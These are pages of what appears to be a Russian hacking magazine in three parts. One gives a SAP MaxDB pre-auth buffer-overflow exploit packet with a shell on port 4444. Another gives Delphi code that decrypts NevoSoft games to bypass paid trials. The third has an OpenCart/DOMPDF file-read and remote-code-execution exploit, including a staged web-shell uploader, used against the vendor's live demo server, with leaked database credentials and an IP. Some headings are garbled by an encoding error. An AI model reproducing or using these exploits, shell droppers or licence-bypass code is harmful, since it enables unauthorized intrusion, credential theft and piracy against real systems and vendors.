SAP MaxDB 7.7.06.09

ВЗЛОМ
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BRIEF

Удаленное переполнение буфера в БД SAP MaxDB интересно 
тем, что для эксплуатации не нужно аутентифицироваться в БД, 
и то, что иногда БД даже где-то встречается в жизни. Уязвимость 
нашел АбдулАзиз Харир (AbdulAziz Harir) из Insight Technologies. 
После чего успешно продал TippingPoint Zero Day Initiative. Ес-
тественно, эксплойтами ребята не делятся. Но бывшие союзники 
по Восточному Блоку, венгерская команда S2 Crew, опубликова-
ла боевой эксплойт, реализующий эту уязвимость совершенно 
бесплатно. Результат работы — шелл на 4444 порту с правами 
системы.

EXPLOIT

Сервер, отвечающий за TCP-соединения с БД, открывает 7210 порт. 
Любой желающий может попытаться аутентифицироваться в БД че-
рез этот порт. Но перед этим надо пройти процедуру «рукопожатия», 
чтобы сервер «запомнил», кто ты, и выделил под тебя ресурсы. Во 
время этой процедуры сервер разбирает пакеты специального фор-
мата, и в первом же пакете от клиента он считывает длину последу-
ющих данных, а затем копирует эти данные из пакета в стек согласно 
считанному размеру. Но тут проблема — буфер в стеке не динамичес-
кий, и поэтому, если указанная в пакете длина больше выделенного в 
стеке места, происходит классическое переполнение буфера. Пакет 
выглядит так:

ret = "\x08\xf1\xa0\x00" # HC

 

packet = (

"\x63\x00\x00\x00\x03\x2f\x00\x00\x01\x00\x00\x00"

"\xff\xff\xff\xff\x00\x00\x04\x00\x63\x00\x00\x00"

"\x00\x02\x4b\x00\x04\x09\x00\x00\x44\x20\x00\x00"

"\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff"

"\x6d\x61" + ret + "\x00\x00\x00\x00\x00\x00"

"\x00\x00\x00\x00\x07\x49" + "A"*5000 + "T00WT00W" + sc 

+ "\x41" * 2500 + egghunter + "\x90"*2500)

Алгоритм прост — перезаписываем адрес возврата на egg-hunter 
шелл-код (переменная egghunter), который ищет в памяти боевой 
шелл-код (переменная sc). Последний идет сразу после метки 
“T00WT00W”. Именно эту метку и ищет egg-hunter в памяти. Как 
обычно бывает, при запуске любого эксплойта выясняется, что он не 
работает. 
Так и сейчас — после запуска у меня не получилось никакого шелла. 
Зато умерла БД. Запустив БД и повесив дебаггер, я увидел, почему 
сплойт не сработал — адрес возврата направлял в несуществующую 
область памяти. Я нашел в стеке адрес egg-hunter шелл-кода, поме-
нял зашитый в эксплойт адрес, и все получилось — я увидел закон-
ный шелл. Непонятно только, зачем авторами вообще используется 
egg-hunter шелл-код, ведь можно было бы адрес возврата сразу 
подобрать под боевой шелл-код. Ну да ладно, главное работает.

SOLUTION

Обнови SAP MaxDB до актуальной версии. z

И вновь шелл, теперь уже с правами SYSTEM.
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Êàçóàëüíàÿ èãðà — êîìïüþòåðíàÿ èãðà, ïðåäíàçíà÷åííàÿ äëÿ øèðîêîãî êðóãà 
ïîëüçîâàòåëåé. Ñàì òåðìèí «êàçóàëüíàÿ» ïðîèñõîäèò îò ëàòèíñêîãî ñëîâà 
«casualis», ÷òî îçíà÷àåò «ñëó÷àéíûé». Òàêèì îáðàçîì, êàçóàëüíàÿ èãðà — ýòî èãðà, 
â êîòîðóþ èãðàþò îò ñëó÷àÿ ê ñëó÷àþ, ìåæäó äåëîì, ÷àùå âñåãî, ÷òîáû êàê-òî óáèòü 
âðåìÿ. Ïîäîáíûìè èãðóøêàìè ÿâëÿþòñÿ òâîðåíèÿ êîìïàíèè ÍåâîÑîôò. Òîëüêî âîò 
äàþò îíè ïîèãðàòü âñåãî ÷àñ, à ïîòîì ïðîñÿò äåíåã. Ñåãîäíÿ ìû ñ ýòèì ðàçáåðåìñÿ!
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ÍÅÌÍÎÃÎ ÒÅÎÐÈÈ
Вообще, казуальные игры по своему уровню сложности годятся прак-
тически для любой категории пользователей компьютера. Зачастую 
время на прохождение таких игр невелико, а потому они хорошо под-
ходят для тех, кто не может уделять игре много времени. Компания 
НевоСофт является одним из ведущих разработчиков казуальных игр 
в мире (и, в частности, на русском языке). Казалось бы, такая серьез-
ная компания должна уделять повышенное внимание защите своего 
программного обеспечения, для ее взлома должно понадобиться 
много сил и времени. Сегодня мы опровергнем этот факт и покажем, 

как отучить их детище клянчить наши с вами кровные деньги.
Разработчики компании НевоСофт держат под своим чутким надзором 
тысячи игр, при этом дают народу опробовать их детище в течение 
одного часа. После 60 минут, когда человек только входит во вкус, 
высвечивается не очень приятная табличка, которая просит денежек. 
Так уж сложилось, что русский человек не любит платить за софт, 
но разработчики игр иногда просто не оставляют нам выбора. Для 
определенной игры нужно найти свой кряк, на поиски которого иногда 
уходят драгоценные минуты и часы, а если игра новая, то вероятность 
найти его сводится к нулю.

Êàçóàëüíîå 
âñêðûòèå 
â ïîëåâûõ óñëîâèÿõ
ÈÑÑËÅÄÎÂÀÍÈÅ ÇÀÙÈÒÛ ÊÀÇÓÀËÜÍÛÕ ÈÃÐ



XÀÊÅÐ  06  /137/  10  051

ÏÎÄÃÎÒÎÂÊÀ ÎÏÅÐÀÖÈÎÍÍÎÃÎ ÑÒÎËÀ
В качестве подопытного для нашего исследования, которого мы 
будем отучать от «вредной привычки», я выбрал игру «Полцарства за 
принцессу». Мой выбор пал на нее, потому что именно она и натолкну-
ла меня на мысль об исследовании защиты игр от НевоСофта. Позже 
выяснилось, что принцип защиты у других игр этого производителя 
абсолютно идентичен.
Так сложилось, что на момент изучения под моей рукой не было ни 
одной программы для взлома: ни дизассемблера, ни отладчика; был 
только набор программ, стоящих на машине практически у каждого 
пользователя. В этот набор вошли Total Commander и «Диспетчер 
задач» — именно этими программами мы и будем пользоваться в 
момент изучения игры. Казалось бы, что можно сделать при помощи 
этих приложений? Оказалось, что при наличии пытливого ума и ка-
пельки внимательности этого вполне достаточно, чтобы заставить игру 
работать без ограничения по времени. В качестве платформы для на-
писания «таблетки» я выбрал Delphi 7. Все инструменты разложены на 
операционном столе, пациент крепко привязан — можно приступать к 
исследованию. А теперь обо всем по порядку...
 
ÑÊÀËÜÏÅËÜ, ÒÀÌÏÎÍ, ÑÏÈÐÒ, 
ÅÙÅ ÑÏÈÐÒ, ÎÃÓÐÅÖ... ÏÎÌßÍÅÌ!
Устанавливаем и запускаем игру. Видим красивое окошко, в котором 
красуется время, отведенное нам для ее тестирования. Смело тыкаем 
мышкой по кнопке «играть» и начинаем наблюдать, что творится в 
системе. Свернем игру на время и заглянем в «Диспетчер задач». 
Взгляд падает на неизвестный нам процесс с расширением *.tmp. 
Что ж, давай глянем, что это за фрукт, и как он тут оказался. Тыкаем в 
свойства процесса и вчитываемся в информацию, которую нам выда-
ли. Месторасположение файла говорит о том, что мы на верном пути. 
Открываем папку с этим файлом и переименовываем его в exe’шник 
(кстати, файл является скрытым, так что не забудь поставить галоч-
ку на «отображать скрытые файлы» в соответствующих свойствах). 
Тыкаем в него два раза левой кнопкой мыши и видим прекрасную 
картину — игра запускается, причем никаких окон для регистрации 
не выскакивает. Казалось бы, цель нашего эксперимента достигнута, 
игра больше не требует регистрации и работает без ограничения по 
времени. Но этот способ слишком нудный и неудобный. Поэтому будем 
искать способ упростить эти действия. 

ÂÑÊÐÛÒÈÅ ÏÎÊÀÇÀËÎ, ×ÒÎ ÏÀÖÈÅÍÒ ÓÌÅÐ ÎÒ ÂÑÊÐÛÒÈß
Основная наша цель — научится отучать игрушки NevoSoft'a от денег 
в два клика, поэтому начнем разбираться, откуда берется тот злос-
частный файл с расширением *.tmp. Не бойся, читать тонны мануалов 
не придется, главное – иметь чуточку терпения и капельку внима-
тельности. Искать долго не приходится, ибо в папке с файлом *.tmp 
лежит непонятно зачем нужный файл nsgame.dat, который по размеру 
совпадает с нашей игрушкой с точностью до байта. Можно предпо-
ложить, что ланчер просто переименовывает nsgame.dat в *.tmp и 
запускает его. Но в процессе проверки нашего предположения тебя 
ждет большой облом — нас посылают куда подальше, сообщая о том, 
что приложение не является исполняемым файлом. Расстраиваться не 

будем, а вместо этого берем лопату побольше да поострее и начинаем 
копать поглубже. Первое, что приходит на ум – сравнить эти два файла 
и посмотреть, в чем же их отличие. Откроем Total Commander и вос-
пользуемся внутренней утилитой для сравнения файлов. Результаты 
сравнения очень интересные, так как наблюдается красивая картина: 
с периодичностью в 2 байта идет различие и совпадение. Налицо 
криптография исполняемого файла, но как провести обратный про-
цесс, ведь мы решили отказаться от отладчиков и дизассемблеров? 
Ответ очень прост — нужно вспомнить алгоритмы шифрования. Самым 
простым и одним из самых эффективных (при правильном использо-
вании) криптоалгоритмов является так называемое XOR-шифрование. 
Напомню, в данном методе побайтно проводится булева операция 
XOR. Первой переменной является байт для шифрования, а второй 
— ключ. Но перед нами тут же встает еще один вопрос — где взять 
ключ для дешифровки? Ответ прост. Нужно только вспомнить булеву 
алгебру, и ключ нам дадут в открытом виде.

Crypted = uncrypted XOR key;

Key = crypted XOR uncrypted

Попробуем достать заветный ключик. Для этого проведем побитно 
операцию XOR между исполняемым файлом и временным файлом. 
По идее, на выходе получим ключ для дешифровки, с помощью 
которого можно будет щелкать игры как орешки. XOR’ить будем только 
первые 256 байт, так как мало кто в наше время использует ключи 
большей длины.

var

    i, o: TFileStream;

    bi, bo:byte;

    x, ii, cc:integer;

begin

  if open.Execute then

  begin

    SetCurrentDir('C:\Èãðû îò NevoSoft\Peacecraft\

game');

         //Ïåðåõîäèì â ïàïêó ñ èãðîé

    if not(fileexists('nsgame.dat')) then exit;

    i:=TFileStream.Create('nsgame.dat', fmOpenRead);

    o:=TFileStream.Create(open.FileName, fmOpenRead);

    x:=0; ii:=0; cc:=0;

      //ïåðåáèðàåì 256 áàéò

    for x:=0 to 255 do

    begin

       i.read(bi,1);

       o.read(bo,1);

Подозрительное сходство файлов наталкивает 
на мысль о том, что игра получается путем каких-
либо манипуляций с файлом nsgame.dat

Выясняем, что шифрованию подвергаются только 
первые $43000 байт
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       key.Caption:=format('%s %x', [key.Caption, (bi 

xor bo)]);

       inc(cc);

       if cc mod 8 =0 then  key.Caption:=key.

Caption+#13#10;

    end;

    i.Free;

    o.Free;

  end;

Как оказалось, ключ, используемый для шифрования, не очень-то 
большой: длина его составляет всего 4 байта. Забегая вперед, скажу, 
что для каждой игры от компании НевоСофт существует уникальный 
ключ шифрования. Как же его вычислить?! 
Углубляться в дебри не стоит. На самом деле все очень просто — для 
получения ключа берем от сигнатуры PE-заголовка первые 2 байта и 
проводим операцию XOR. У многих возникнет вопрос: почему нужно 
проводить операцию XOR только на 2 байта, ведь длина ключа — 4 
байта? Ответ прост — 3-й и 4-й байты в ключе всегда равны $00. 

const

  ckey = #77#90; // ñèãíàòóðà PE-ôàéëà

begin

  i:=TFileStream.Create(FileName, fmOpenRead);

 

  for x:=1 to 2 do

  begin

    i.Read(tmp,1);

    tmp:=ord(ckey[x]) xor tmp;

    key:=key+chr(tmp);

  end;

  key:=key+#0#0;

Теперь в наших руках есть заветный ключ-монтировка, и можно смело 
приступать к написанию самой программы для взлома.

ÌÛ ÏÈÑÀËÈ, ÌÛ ÏÈÑÀËÈ, ÍÀØÈ ÏÀËÜ×ÈÊÈ ÓÑÒÀËÈ...
Мы уже обладаем достаточной информацией для написания универ-
сального взломщика. Что ж, не будем зря терять время. Приступим...

Вычислив подозрительный процесс в системе, 
обнаруживаем, что он находится в папке с игрой 
— стоит к нему внимательнее приглядеться

Любимая, а главное — бесплатная игрушка
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procedure wrap(filename:string);

var

    i, o: TFileStream;

    bi, bo, tmp:byte;

    x, ii:integer;

    key:string[4];

    buffer:TMemoryStream;

const

  ckey = #77#90;//ñèãíàòóðà PE-çàãîëîâêà

begin

  if not(fileexists(filename)) then exit; // íåáîëü-

øàÿ ïðîâåðêà íèêîãäà íå ïîâðåäèò =)

  i:=TFileStream.Create(filename, fmOpenRead);//îò-

êðûâàåì íà ÷òåíèå ïîäîïûòíîãî

  o:=TFileStream.Create(ChangeFileExt(filename, 

'.exe'), fmCreate);//è íà çàïèñü íîâûé ôàéë 

  buffer:=TMemoryStream.Create;

  for x:=1 to 2 do // âû÷èñëÿåì êðèïòî-êëþ÷

  begin

    i.Read(tmp,1);

    tmp:=ord(ckey[x]) xor tmp;

    key:=key+chr(tmp);

  end;

  key:=key+#0#0;

  i.Seek(0,soFromBeginning);

  x:=0; ii:=0;

  while i.Position<i.Size do // äåøèôðóåì ôàéë ñ óêà-

çàííûì êëþ÷îì

  begin

    inc(ii);

    i.Read(bi, 1);

    bo:=bi xor ord(key[ii]);

    buffer.Write(bo,1);

    inc(x);

    if ii=4 then ii:=0;

  end;

  o.Write(Buffer.Memory^, Buffer.size);

  i.Free;

  o.Free;

  buffer.Free;

  showmessage('Wrapping done');

end;

Звучит барабанная дробь — запускаем полученный файл... Но 
почему-то нам снова предлагают пройти в сторону леса. Что, где, 
когда мы пропустили?! Ведь вроде бы все правильно сделали! Но 
не будем расстраиваться. Взяв в руки очередную баночку пива, 
продолжим изучать подопытного и попробуем найти наш промах. 
Вновь открываем Total Commander и проводим работу над ошибка-
ми, сравнивая нормальную игру с файлом, который у нас получился. 
На первый взгляд файлы одинаковы с точностью до одного байта. 
Но стоит только нажать кнопку «найти первое различие», Total 
Commander сообщает, что, начиная со смещения $43000, файлы не 
совпадают. 
Следовательно, можно предположить, что шифруется не весь 
файл, а только первые $43000 байт. Поэтому берем в руки молоток 
и зубило и исправляем ошибки в нашем коде, заставив дешифро-
вать только первые $43000 байт.

  while i.Position<i.Size do

  begin

    inc(ii);

    i.Read(bi, 1);

    if x<$43000 then

    begin

      bo:=bi xor ord(key[ii]);

      buffer.Write(bo,1);

    end

    else

      buffer.Write(bi,1);

    inc(x);

    if ii=4 then ii:=0;

  end;

Запускаем наш «взломщик» (впрочем, эти действия сложно назвать 
взломом, так как мы не модифицируем ни одного байта, непосред-
ственно относящегося к игре, а лишь восстанавливаем исходное 
приложение путем дешифрования). Пару секунд ожидания; запускаем 
игру. Нашей радости нет предела, так как теперь игра абсолютно не-
зависима от NevoSoft'овского ланчера, который клянчит у нас деньги. 
Теперь можно расслабиться и, откинувшись в кресло, наслаждаться 
любимой игрушкой.

ÇÀÊËÞ×ÅÍÈÅ
Отличие хакера от обычного человека заключается не только в 
высоком уровне познаний IT-технологий, а в первую очередь в его 
любознательности и способности находить нестандартный подход к 
обычным делам. Исследование, которое мы сейчас произвели, до-
казывает еще один факт — для взлома не всегда нужно часами сидеть 
в отладчике, выискивая заветные байты, которые нужно пофиксить; 
иногда можно обойтись и теми программами, которые у нас всегда под 
рукой. За сим прощаюсь и рекомендую всегда блюсти ст. 272-274 УК 
РФ — и будет тебе счастье! :) z  
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Вычисляем ключ для дешифровки путем 
проведения операции XOR на первые байты игры 
и файла nsgame.dat
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ÂÎÒ ÎÍÀ, ÂÅÑÍÀ — âðåìÿ äåïðåññèé, ìàðòîâñêèõ êîòîâ è äîæäåé. Äåëàòü ÷òî-ëèáî 
ñîâñåì íå áûëî æåëàíèÿ, íî, êàê íàçëî, ó ìåíÿ îñâîáîäèëàñü ïàðà âå÷åðîâ. 
Òåðÿòü ýòî äðàãîöåííîå âðåìÿ î÷åíü óæ íå õîòåëîñü, ïîýòîìó ÿ ðåøèë ïîòðåíèðîâàòü 
ãëàçà, ïîêîïàâøèñü â PHP-äâèæêàõ. Íó, à âäðóã ÷åãî âûãîðèò? ×òîáû óçíàòü, 
÷òî æå âñå-òàêè âûøëî èç êîìáèíàöèè OpenCart, ïàðû âå÷åðîâ è ïàðû ëèòðîâ êîôå, 
÷èòàé äàëüøå.
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ÄÅËÎ ÁÛËÎ ÂÅ×ÅÐÎÌ
Принялся я за поиски уязвимостей, накачав 
самых разных движков последних версий.
В процессе изучения оных остановился на 
движке онлайн-магазина OpenCart версии 
1.4.6.  Запустил самопальный баш-скрипт для 
поиска подозрительных функций. 
Среди всего прочего кода, который выдал 
скрипт, мое внимание привлекла следующая 
строка:

eval("?" .">$str");

Ну-ка глянем, что там у медвежонка внутри. 
Этот подозрительный кусок кода находится в 
файле system/helper/dompdf/include/dompdf.

cls.php, на строке 276 — туда и направимся. 
Открываем файл и видим, что находимся 
внутри метода load_html(), который при-
нимает переменную $str, и на данном этапе 
она никак не фильтруется. Но, так как в этом 
файле находится только один класс, нам надо 
найти точку вхождения — скрипт, который до-
ступен извне и работает с классом DOMPDF. 
Уровнем выше, в самой папке dompdf, лежат 
разные скрипты; начнем перебирать их в 
браузере. Открываем первый попавшийся, а 
это dompdf.php! Видим, что скрипт ругается, 
мол, не хватает ему входных параметров. Из 
ошибки понятно, что ему нужно получить 
$_GET['input_file']. Ну что же, удовлетворим 
его, но предварительно посмотрим, что 

находится внутри самого скрипта. А внутри 
— мешанина всяких условий. Чтобы узнать, 
как далеко скрипт выполнился, я обычно рас-
ставляю в самых разных местах отладочные 
сообщения типа:

printf("File: %s, line: %d<br/>",

   __FILE__, __LINE__);

Немного помучив скрипт, я установил следую-
щее: если указать требуемый параметр input_
file, то он попадает в метод load_html_file() 
класса DOMPDF. Этот метод, в свою очередь, 
пытается прочитать файл в строку при по-
мощи функции file_get_contents(), а затем 
передает содержимое в метод load_html(). И 

Ïðîíèêíîâåíèå 
â î÷àã OpenCart 
ÂÇËÎÌ ÄÂÈÆÊÀ ÎÍËÀÉÍ-ÌÀÃÀÇÈÍÀ OPENCART
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links

HTTP://WWW

•opencart.com — 
официальный сайт 
OpenCart.
•us3.php.net/man-
ual/en/features.file-
upload.put-method.
php — мануал PHP 
по методу PUT.
•php.net/manual/en/
wrappers.data.php — 
мануал PHP 
по оберткам.
•archives.neohapsis.
com/archives/fulldis-
closure/2009-07/0417.
html — сообщение 
об уязвимости 
в DOMPDF.
•digitaljunkies.ca/
dompdf/index.php — 
сайт класса DOMPDF.
•exploit-db.com/
papers/260 — бумага 
по RFI/LFI от CWH 
Underground.

происходит все это без каких-либо фильтраций. 
То ли разработчики надеялись на то, что пользователи 
этой библиотеки будут все фильтровать, то ли они очень 
наивны и оставили все на волю судьбы. Как бы то ни 
было, это играет нам на руку. Следуя логике работы скрип-
та, получается, что мы можем читать файлы. Проверим это 
дело. В браузере я набрал:

http://localhost/h/opencart_v1.4.6/upload/

system/helper/dompdf/dompdf.php?input_

file=../../../../../../etc/passwd 

О да, мы получили /etc/passwd в виде PDF-файла. Исходя 
из того, для каких целей служит библиотека, этого можно 
было ожидать.

ÏÈØÅÌ ÝÊÑÏËÎÉÒ
Читать произвольные файлы, пусть и в такой извращен-
ной форме — это неплохо, но хотелось чего-то большего. 
Уж очень сильно eval() мозолил глаза — нельзя упускать 
возможность выполнить PHP-код. В этом случае было бы 
достаточно заинклудить любой файл, содержащий код, 
и он бы успешно выполнился. Но в своем эксплойте для 

Официальный сайт движка OpenCart

В недрах уязвимого класса DOMPDF
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этого движка я хотел сделать удаленное вы-
полнение команд без инклуда посторонних 
файлов. Начиная с версии PHP 5.2.0 поддер-
живается обертка data:, которую и было реше-
но задействовать. Протокол data был описан 
в 127 номере журнала, так что обращайся 
туда, а мы едем дальше. 
Как всегда, эксплойт я писал на своем лю-
бимом Perl. В целом, эксплойт будет понятен 
и неискушенному в Perl человеку, но там я 
применил один трюк с башем. Чтобы тебя не 
смущать, на всякий случай поясню следую-
щую строку:

$cmd = encode_base64($cmd 

. '| sed -e :a -e \'$!N;s/\

n/<br\/>/;ta\'');

В переменной $cmd содержится вве-
денная тобой команда, допустим, ls -la. 
Склеиваем ее с тем однострочником, 
что справа. Этот сниппет с sed я при-
менил лишь для того, чтобы преобра-
зовать переносы строк в ‘<br/>’, так как 
в полученной PDF применяется HTML-
форматирование. В итоге получится 
следующая команда:

ls -la | sed -e :a -e '$!N;s/\

n/<br\/>/;ta'

Через пайп передаем результат первой 
команды в sed, который занимается формати-
рованием. Все это добро мы перекодируем в 
base64 и вставляем в очередной кусок кода. 

my $tobase64php = "<?php \@

system(base64_decode('$cmd'));";

my $payload = 'data:;base64,' . 

encode_base64($tobase64php);

Ну, а здесь тебе уже должно быть все понятно 
— очень похоже на пресловутый PHP. Сам 
эксплойт позволяет выполнять системные 
команды, а результат приходит в виде PDF-
файла. Тут я подумал: а что, если за меня уже 
сделали всю работу? Совсем забыл погуглить 
на предмет наличия уязвимостей под этот 
движок. Поиск по последней версии OpenCart 
ничего не дал, были лишь старые уязвимо-
сти. А вот по «dompdf exploit» (это все-таки 
сторонняя библиотека) кое-что нашлось. 
Benj Carson из «YGN Ethical Hacker Group» 
сообщал об уязвимости, которая заключается 
в том, что можно скачивать любые файлы 
в виде PDF (что я и раскопал). Однако мой 
эксплойт использует более широкие возмож-
ности уязвимости, к тому же, про уязвимость в 
OpenCart сообщено не было.

À ×ÒÎ, ÅÑËÈ..?
Итак, эксплойт для движка был готов, но тут 
я вспомнил про одну вещь. Когда я скачивал 
движок, то заметил, что сайт предоставляет 

Читаем очень интересный PDF-документ

Благоприятная реакция dompdf.php на сайте жертвы
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онлайновую демо-версию. Догадываешься, о чем я? Так 
точно, мы будем штурмовать оффсайт! Не всегда, конечно, 
выпадает такое счастье как уязвимый движок на самом сайте 
разработчика, но попробовать стоит. Кто не рискует, тот не 
пьет шампанское. Первым делом я сразу полез проверять, 
что выплюнет уязвимый скрипт. В моем случае (на локальном 
сервере) он ругался на неопределенные параметры. Но в де-
моверсии сайта вполне может быть версия скрипта посвежей 
и без уязвимости, либо вообще отсутствовать такой скрипт. 
Там часто в целях безопасности обрезают все, что только 
можно. Как бы то ни было, идем по следующей ссылке: 

demo.opencart.com/system/helper/dompdf/

dompdf_main.php 

Скрипт ругается точно также, как и на моем сервере. Это 
хорошо, можем продолжать эксперименты. На тот момент 
была лишь одна идея — применить свежевыжатый экс-
плойт. Набираем в консоли: 

perl dompdf.pl -u=http://demo.opencart.com/ 

-c='ls -la'

Смотрим результат в сохраненной PDF'ке. Открываем, 
а там ругаются: неверный формат PDF-файла. Решил 
посмотреть, что же вообще сервер отдал в качестве 
содержания файла. Переименовал файл в текстовик, а 
внутри ошибка PHP:

URL file-access is disabled in the server 

configuration in...

И бла-бла-бла. Это могло означать, что у них на сервере 
PHP сконфигурирован как allow_url_fopen=off. При таком 
раскладе протокол data не работает, и, естественно, RFI 
тут тоже не пройдет. Обидно, конечно, но меня это не оста-
новило — я решил искать другой способ заполучить шелл 
на оффсайте движка. 
Кстати, на локальном сервере желательно иметь ту же 
конфигурацию, что и на уязвимом, чтобы максимально 
приблизить обстоятельства локального тестирования к ре-
альным. Поэтому я и у себя выставил allow_url_fopen=off, 
чтобы в будущем не наступать на грабли. Однако, когда 

тестируешь движки, стоит настраивать PHP на самую 
мягкую конфигурацию.

ÑÅÐÈß ÍÅÓÄÀ×…
Сначала я хотел посмотреть, как работает уязвимость на 
оффсайте движка. Вдруг читать файлы вовсе не получит-
ся? Но чего гадать — набираем в браузере:

http://demo.opencart.com/system/

helper/dompdf/dompdf.php?input_

file=../../../../../../../etc/passwd

И скачиваем PDF-файл со списком пользователей си-
стемы. Неплохо, но это нам мало поможет. Я принял-
ся за поиски конфигурационных файлов в надежде 
найти аутентификационные данные. Прямо в корне 
системы OpenCart лежит config.php. Но имей ввиду, 
что, прежде чем скачивать PHP-файл, нам надо его 
во что-нибудь преобразовать, иначе он просто вы-
полнится как код. Значит, ядовитый URL приобретает 
такой вид:

http://demo.opencart.com/system/helper/

dompdf/dompdf.php?input_file=php://

Удачный результат работы второго эксплойта

На диске ищи 
видеоролик, 
демонстрирующий 
взлом, баш-скрипт для 
поиска уязвимостей, 
а также оба 
эксплойта для 
движка Open-
Cart (только для 
ознакомления)55

dvd

DVD

Мой баш-скрипт для поиска уязвимостей за работой
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filter/convert.base64-encode/

resource=../../../config.php

Здесь я использовал фильтр потока, который 
появился в PHP с версии 5.0.0. Таким об-
разом, прочитанный файл преобразуется в 
строку, закодированную при помощи base64. 
Между прочим, хороший способ читать 
бинарники. Итак, используя уязвимость, я 
успешно скачал содержимое файла в виде 
PDF. Раскодировав обратно полученную стро-
ку, я получил следующее:

<?php 

...

// DB

define('DB_DRIVER', 'mysql');

define('DB_HOSTNAME', 

  'localhost');

define('DB_USERNAME', 

  'opencart_user');

define('DB_PASSWORD',

  '|l$Ik|S;15Yf');

define('DB_DATABASE', 

  'opencart_demo');

define('DB_PREFIX', '');

?>

Теперь есть логин и пароль пользователя MySQL. 
Надо проверить сервер на наличие открытого 
порта 3306. С забугорного дедика запускаю:

nmap 85.13.246.138 -p 3306

nmap сообщает о том, что порт открыт. С того 
же дедика пробуем:

mysql -h 85.13.246.138 -u 

opencart_user -p

У нас запрашивают пароль. Вводим его, но 
нас шлют лесом. Многочисленные попытки 
с разных серверов, через разные прокси и 
разные методы не дают никаких результатов: 
то неверный пароль, то непонятная каша 
вместо приглашения, то срывы соединения. 
Обидно и непонятно. Облом номер один. 
Затем мне пришла в голову одна идея. Если 
инклуд удаленных файлов и протокол data 
запрещены, то что будет, если попробовать 
найти в демоверсии сайта загрузку файлов? 
Нам бы пригодилась и загрузка картинок. 
Заинклудив картинку с PHP-кодом, мы могли 
бы его выполнить. К сожалению, поиск по 
демонстрационной версии админки не принес 
никаких результатов. Админка была урезана в 
правах и нельзя было грузить даже картинки. 
Облом номер два. Потом я решил взяться за 
врапперы PHP, поколдовать с ними — вдруг 
что выгорит. Но все безрезультатно. Ситуация 
такова: удаленные файлы читать нельзя, ло-
кальные файлы можно получить в виде PDF и 
можно выполнять PHP-код локальных файлов. 
Но проку от этого всего нет, если нет возмож-
ности выполнить именно свой код. Тогда я 
вспомнил про инклуд PHP-кода в локальные 
файлы. Но как я не пытался, ни старый трюк с 
лог-файлами apache, ни метод с /proc тоже не 
помогли. Это был облом номер три. 

… ÍÎ Â ÈÒÎÃÅ ÌÎß ÂÇßËÀ
 Все это начинало действовать на нервы 
— есть и уязвимость, и конфиг с паролем к 

базе данных, но всюду меня шлют лесом. 
Оставив это дело на следующий день, я от-
правился спать. Как говорится, утро вечера 
мудренее.
На следующий день я снова принялся курить 
мануалы по PHP и разгребать уязвимую 
библиотеку. Вспоминая про обертки, фильтры 
и прочее, я вспомнил про php://input. Эта 
обертка позволяет читать POST данные, и 
независима от каких-либо директив PHP. В 
общем, затея моя была такова: вместо файла 
подставить данную обертку, а нужный код 
послать в POST-массиве. В итоге строка за-
проса в эксплойте должна быть такой: 

http://.../dompdf.php?input_

file=php://input

Быстро набросав на коленке Perl-скрипт, я 
принялся тестировать этот метод. Но был жутко 
огорчен. Данные, принимаемые из POST-
массива, приходили как закодированные URL-
эквиваленты; к тому же полностью приходило 
как содержимое, так и название переменной. 
То есть, получалось такое безобразие:

var=%3C%3Fphp%20echo%28999%29%3B

Понятно, что это не будет выполняться как 
код. Снова надо было думать и искать аль-
тернативные варианты, а ведь счастье было 
так близко. В поисках методов модификации 
передаваемых значений через php://input я 
набрел на метод PUT. Надо бы попробовать 
его — он проще, чем POST, но поддержива-
ется не всеми серверами и не всегда. Итак, 

Документация PHP по методу PUT
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заменив POST на PUT, пробуем послать 
какую-нибудь строку, которая должна выпол-
ниться как PHP-код. И что ты думаешь? Это 
прокатило, скрипт получает чистую строку, 
код выполняется. Второй эксплойт основан 
на методе с PUT и php:/input, он загружает 
произвольные файлы на сервер с  уязвимой 
библиотекой, действуя в несколько этапов. 
Вот кусок из эксплойта:

    my $tmp_shell = <<'B64';

<?php 

if(@move_uploaded_file($_FILES['fi']

['tmp_name'],$_FILES['fi']['name'])) 

{

    echo(9);

    @unlink(__FILE__);

}

B64

 my $shell64 = encode_base64(

   $tmp_shell);

 my $tophp = sprintf(

  "<?php eval(base64decode('%s'));",

  encode_base64(

   "file_put_contents('i.php',

    base64_decode('$shell64'));")

  );

 # Stage 1, exploiting DOMPDF 

vulnerability.

 my $req = PUT "$url/dompdf.

php?input_file=php://input", Content 

=> $tophp;

В переменной $tmp_shell у нас временный 
мини-шелл. Его задача — загрузить файл 
(для нас предпочтительно полноценный 
шелл) и удалить самого себя. Этот мини-шелл 
будет записан в файл i.php при выполнении 

PHP-кода. В последней строке у нас нахо-
дится перловый запрос PUT. В принципе, тут 
все должно быть интуитивно понятно. Этот и 
самый первый эксплойты ищи на диске.
Таким образом, вырос второй эксплойт, 
ориентированный на вариант, когда allow_
url_fopen=off. На локальном сервере все 
замечательно работает, шелл заливается. 
Теперь остается скрестить пальцы и запустить 
наш эксплойт против демоверсии сайта. Сно-
ва соединяюсь со своим дедиком и запускаю 
оттуда эксплойт:

www-data@sd:/var/www/lib$ ./e.pl 

-u=http://demo.opencart.com/ -s=./

logs.php

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~                                        

    www.opencart.com exploit                                                    

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

                                           

[~] Exploiting http://demo.

opencart.com/                                        

[+] Ok, uploading shell...                                                      

[+] Ok, response[9], checking for 

shell.                                        

[+] Ok, shell: http://demo.

opencart.com/system/helper/dompdf/

newi.php

Как ты понимаешь, теперь мне повезло, и 
шелл залился. Находясь внутри сервера, 
я увидел, что админы сервера поотрубали 
множество опасных функций PHP, неплохо 
настроили PHP-конфиг, но это их не спас-
ло. Изначально поставленная мною цель 
была достигнута — преодолеть первый 
рубеж, залить шелл. Находясь на сервере, 

можно было дампить базу данных, рутать 
сервер, дефейсить и так далее, но это не 
входило в мои планы. Я поступил более 
гуманно, сообщив администраторам об 
уязвимости. Админы подсуетились в тот же 
день, так что на оффсайте последняя вер-
сия (1.4.6) не поддается эксплойту. Поэтому 
можно наткнуться как на уязвимый, так и 
на чистый движок одной и той же версии. 

ÕÝÏÏÈ ÝÍÄ
Какой урок можно извлечь из этой исто-
рии? Атакующей стороне — не сдаваться и 
не отступать, а шевелить мозгами и искать 
пути обхода. Как ты мог наблюдать, для того, 
чтобы попасть на сервер, мне пришлось 
перебрать немалое количество разных 
техник и методов эксплуатации уязвимо-
стей. Что по поводу разработчиков, то есть 
такая пословица: «доверяй, но проверяй». В 
движке, с которым мы работали, была при-
